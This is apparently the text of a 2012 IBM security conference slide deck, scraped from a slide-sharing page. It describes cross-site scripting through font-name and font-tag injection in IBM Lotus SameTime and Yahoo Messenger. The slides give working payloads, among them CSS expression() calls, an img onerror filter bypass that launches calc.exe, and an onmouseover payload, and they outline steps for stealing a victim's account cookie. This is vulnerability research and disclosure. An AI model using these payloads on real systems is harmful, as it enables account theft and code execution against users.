Stylish XSS via Font Name Injection

© 2012 IBM Corporation
IBM Security Systems
1© 2012 IBM Corporation
Stylish XSS
via Font Name Injection

2
Background - Instant Messengers

3
<Text Style="
font-family:Segoe UI;
font-weight:bold;
font-style:italic;
color:#008000;
">Hi!</Text>

4
Every time I’ve seen this screen, I wondered
“What if I could use some HTML here…”

5
Background - Windows Fonts
Windows accepts basically any character as
part of the font name
Font name length limited to ~30 chars

6
IBM Lotus SameTime Messenger
<span style="font-size:14pt;font-family:Segoe UI;
font-weight:normal;font-style:normal;">You Do!</span>

7
SameTime - Exploit - CSS
Font Name: expression(alert(1));

8
SameTime - Exploit - CSS
Font Name: expression(alert(1));
Desired output:
<span style= ";font-family:expression(alert(1));…">
Actual output:
<span style="">

9
SameTime - Exploit - New Attribute
Font Name: "onclick="alert(1)"
Desired output:
<span style="font-size:9pt;font-family:“
onclick="alert(1)" ...">
Actual output:
<span style="font-size:9pt;font-family:"
onclick="">

10
SameTime - Exploit
~50 Fonts Later

11
SameTime - Exploit - Found
Message sent:
<span style=“…font-family:
Message Received:

12
Message sent:
<span style=“…font-family:e0”
<<style<style</style>img x='>
Message Received:

13
Message sent:
<<style<style</style>img x='>
Message Received:
<span style=“…font-family:e0”>
<img x='>

14
Message sent:
<<style<style</style>img x='>Rest of Orig CSS">
Message Received:
<img x='>Rest of Orig CSS">

15
Message sent:
<<style<style</style>img x='>Rest of Orig CSS">'
src='x'
onerror='location="c:windowssystem32calc.exe" '
Message Received:
<img x='>Rest of Orig CSS">

16
Message sent:
<<style<style</style>img x='>Rest of Orig CSS">'
src='x'
</span>
Message Received:
<img x='>Rest of Orig CSS">'
src='x'
</span>

17
SameTime – Remote Code Execution
<span style="font-size:14pt;font-family:e0">
<img x=';font-weight:normal;font-style:normal;">' src='x'
onerror='location="c:windowssystem32calc.exe"'</span>

18
Yahoo Messenger

19
Yahoo Messenger – Message View
Lots of Colors, but that’s about it…

20
Yahoo Messenger - History View

21

22
Finally, Yahoo's
purple alert!

23
Yahoo Messenger - The Payload
<img src="x"onmouseover="alert(1)">

24
Yahoo Messenger - Digging Deeper
Wait, what?
It's not local?!

25
Accessing this URL in Chrome, yields the same
result.

26
That means I can read the cookie!
And steal your account!

27
Yahoo Messenger - Recap
1. Send the victim a message that contain malicious
HTML snippet
2. Wait 3-4 hours for it to show up in the history
3. Convince the user to access his history or send him
a direct link to it (after all, it not local)
4. Have the victim click the Instant Message from the
drop-down box

28
Yahoo Messenger - Introducing: Web Messenger!
Finally I can see the results of my attacks in
real time!

29
Yahoo Messenger - Web Messenger
During the tests, I noticed that a <Font> tag
sent as part of the message text, is being
rendered differently in the Web Messenger.
• The message:
<font face="xxx" size="20">33333</font>
• Was rendered as:
<font style="font-size:20pt" face="xxx“
id="yui_3_2_0_20_1330267588862427">33333</font>

30
Yahoo Messenger - Exploiting CSS
Add a new rule with an expression() call.

31
Started With:
<font face=ssss size="1&color:red">xxxx</font>
To my surprise the response came back as I hoped
<font style="font-size:1&color:red" >xxxx</font>

32
Next was the expression:
<font face=sssss size="1&color:expression(alert(1))"
>xxxx</font>
And again, it seems like nothing is filtering this...
<font style="font-size:1&color:expression(alert(1))"
>xxxx</font>

33
Time to open Internet Explorer!

34
Yahoo Web Messenger - IE Version

35
The Rules (for IE):
1. The Size attribute must be surrounded by
double-quotes (" ")
2. The size value must be followed by the "pt;"
suffix
<font size="15pt;"> <font style="font-size=15pt;">

36
By tweaking the size value,
a new Font-Family CSS rule could be injected.
<font size="15pt;font-family:aaaa;">
<font style="font-size=15pt;font-family: aaaa;">

37
With all that in mind, and ~30 <Font> tags later,
came the following payload that bypass the
CSS filtering
<font size="15pt;font-family:expression(alert(1));">

38
It should work correctly according to the rendered source in
IE Developer Tools

39
Yet somehow, no alert

40
Yahoo Web Messenger - Uber Meta!
After ~5 hours of more fiddling and long lonely IM chats
with myself
I finally found out what I was afraid of.
Or in other words, The "No Expression For You" Meta Tag
<meta http-equiv="X-UA-Compatible" content="IE=8"/>

41
Yahoo Web Messenger - Going Old School
Fired up my Windows XP VM
and kicked out IE8

42
Yahoo Web Messenger - Finally

43
Yahoo Messenger - History Window

44
Questions?

Stylish XSS via Font Name Injection

Empfohlen

Empfohlen

Weitere ähnliche Inhalte

Was ist angesagt?

Was ist angesagt? (20)

Andere mochten auch

Andere mochten auch (13)

Ähnlich wie Stylish XSS via Font Name Injection

Ähnlich wie Stylish XSS via Font Name Injection (20)

Kürzlich hochgeladen

Kürzlich hochgeladen (20)

Stylish XSS via Font Name Injection

Hinweis der Redaktion